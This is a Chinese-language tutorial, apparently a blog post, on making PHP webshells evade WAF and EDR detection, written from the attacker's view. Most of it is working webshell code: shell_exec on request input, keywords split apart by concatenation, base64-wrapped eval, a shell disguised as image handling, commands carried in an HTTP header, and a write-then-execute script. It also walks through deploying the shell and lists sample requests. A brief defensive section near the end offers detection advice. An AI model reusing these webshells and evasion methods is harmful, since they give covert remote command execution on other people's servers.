一、从一次真实攻击谈起
2022年,一起震动安全行业的APT攻击事件登上新闻头条。一家金融公司的生产环境被植入了一种极其隐蔽的Webshell,持续了近半年的数据泄露才被发现。更令人震惊的是,这种Webshell在攻击者的精心设计下,不仅能够逃避WAF(Web应用防火墙)的检测,甚至能绕过多款主流EDR(Endpoint Detection and Response)产品。
这次事件的成功归功于攻击者对免杀技术的深度运用,他们通过代码混淆、动态加载、协议伪装等方式,让Webshell的恶意行为几乎无法被轻易捕获。今天,我们将从攻击者的视角,深度挖掘Webshell免杀技术的原理、方法和实战技巧,展示如何将这些技术应用到实际攻防测试中。
---
二、让Webshell变得隐形:免杀的核心逻辑
Webshell的本质是一个恶意的脚本文件,通过植入目标Web服务器后,攻击者可以远程执行命令、上传文件、窃取数据等。但它天然的劣势在于,代码里往往包含大量可疑特征,一旦被防御方的安全设备识别到,身份就会暴露。在这里,我们需要解决两个核心问题:

- 如何隐藏代码特征:让Webshell代码看起来像正常的业务逻辑,绕过静态扫描。
- 如何规避行为检测:在代码执行时,避免触发WAF规则或被EDR捕获。
接下来,我们将围绕这两点,逐步深入免杀的技术细节。
---
三、Payload构造的艺术:绕过静态特征检测
绕过静态特征检测的核心在于混淆和变形,让Webshell代码看起来不像“恶意代码”。以下是常见的手法:
1. 动态构造代码
通过字符串拼接、编码等方式,将恶意代码隐藏起来,并在运行时动态生成。例如,下面是一个简单的PHP Webshell代码:
<pre><code class="language-php">// 原始Webshell,包含明显的恶意特征 <?php echo shell_exec($_GET['cmd']); ?></code></pre>
这种代码会很容易被WAF拦截,我们可以通过动态拼接的方式进行变形:
<pre><code class="language-php">// 动态生成代码,绕过静态检测 <?php $func = 'shell' . '_exec'; // 分开关键字符串 $cmd = $_GET['cmd']; // 通过GET参数传递命令 echo $func($cmd); // 动态调用 ?></code></pre>
这样一来,静态扫描工具就很难直接识别到关键字 shell_exec,从而实现绕过。
2. 基础编码混淆
使用Base64、URL编码等手段对代码进行编码,在运行时解码。以下是一个示例:
<pre><code class="language-php">// 使用Base64编码后的Webshell <?php eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7')); // 解码并执行代码 ?></code></pre>
解码后的内容仍然是 echo shell_exec($_GET['cmd']);,但由于编码的存在,静态检测工具很难识别。
3. 伪装正常业务逻辑
将恶意代码伪装成正常的业务逻辑。例如,伪装成图片处理模块:
<pre><code class="language-php">// 看起来像图片处理,实际执行命令 <?php if(isset($_GET['image'])){ $image = $_GET['image']; $func = 'shell_exec'; $result = $func("convert $image -resize 100x100 resized.jpg"); echo $result; } ?></code></pre>
攻击者可以通过传入特殊的命令,利用 ImageMagick 的漏洞执行命令,而代码表面上看不出异常。
---
四、让行为更隐蔽:绕过动态检测的方法

即使代码能绕过静态检测,在运行时也可能被WAF或EDR捕获。以下是一些经典的动态免杀技巧:
1. 流量伪装
将恶意Webshell的通信伪装成正常的HTTP流量。例如,通常Webshell的通信方式如下:
<pre><code class="language-http">GET /shell.php?cmd=whoami HTTP/1.1</code></pre>
这种流量特征非常明显,可以通过修改参数名和内容进行伪装:
<pre><code class="language-http">GET /resources.php?action=resize&size=whoami HTTP/1.1</code></pre>
在服务端代码中,我们可以解析参数,并根据它是否符合某种“暗号”来决定是否执行命令。
2. 利用合法请求头
通过HTTP请求头传递命令,避免WAF对URL参数的检测。例如:
<pre><code class="language-php">// 解析HTTP头中的自定义字段 <?php $headers = getallheaders(); if(isset($headers['X-Custom-Command'])){ $func = 'shell_exec'; echo $func($headers['X-Custom-Command']); } ?></code></pre>
攻击者可以发送如下请求:
<pre><code class="language-http">GET /shell.php HTTP/1.1 X-Custom-Command: whoami</code></pre>
这样可以有效避开参数扫描规则。
3. 分段执行命令
通过分段执行命令,降低行为特征。例如,先写入文件后再执行:
<pre><code class="language-php"><?php file_put_contents('/tmp/cmd.sh', $_GET['cmd']); echo shell_exec('bash /tmp/cmd.sh'); ?></code></pre>
WAF难以识别出“写文件”和“执行命令”之间的联系,从而提升免杀效果。
---
五、实战:搭建一个免杀Webshell环境
1. 环境准备
- 一台支持PHP的Web服务器(如Apache)。
- 调试工具:Burp Suite、Wireshark。
- 一个支持动态检测的WAF(如ModSecurity)。
2. 部署基础Webshell
将以下代码保存为 shell.php 并上传至目标服务器:

<pre><code class="language-php"><?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'whoami'; eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCdjbWQnKTs=')); ?></code></pre>
3. 测试免杀效果
- 使用普通方式访问:
http://target.com/shell.php?cmd=whoami。 - 查看WAF日志,观察是否被拦截。
- 修改代码,加入动态混淆,反复调整,直到绕过检测。
4. 流量分析与调整
- 用Wireshark捕获流量,确认Webshell通信是否伪装得足够隐蔽。
- 使用Burp Suite模拟攻击,观察请求是否触发WAF规则。
---
六、检测与防御:如何对抗免杀技术
攻击者的方法层出不穷,防御方需要关注以下几点:
- 增强流量分析能力
使用行为分析工具检测异常流量,例如HTTP参数的长度、内容和频率等。
- 部署高强度WAF规则
定期更新规则库,关注动态编码、关键字拼接等特征。
- 结合主机行为检测
对服务器上的进程、文件、网络行为进行监控,发现异常的脚本执行。
- 使用代码审计工具
对Web业务代码进行审查,识别潜在的后门和漏洞。
---

七、个人经验:如何提升免杀技术
作为一名攻击者思维导向的安全研究员,我的建议是:
- 多研究安全设备的检测逻辑,尤其是WAF和EDR的规则。
- 学习多种编码和混淆技术,例如Base64、AES加密等。
- 模拟红队演练,尝试从不同角度绕过目标防御,评估自身技术水平。
- 不断复盘和总结,从失败案例中寻找新的免杀思路。
Webshell免杀技术不仅是攻击者的杀手锏,同时也是安全从业者必须掌握的重要技能。掌握这些技术,才能在攻防博弈中立于不败之地。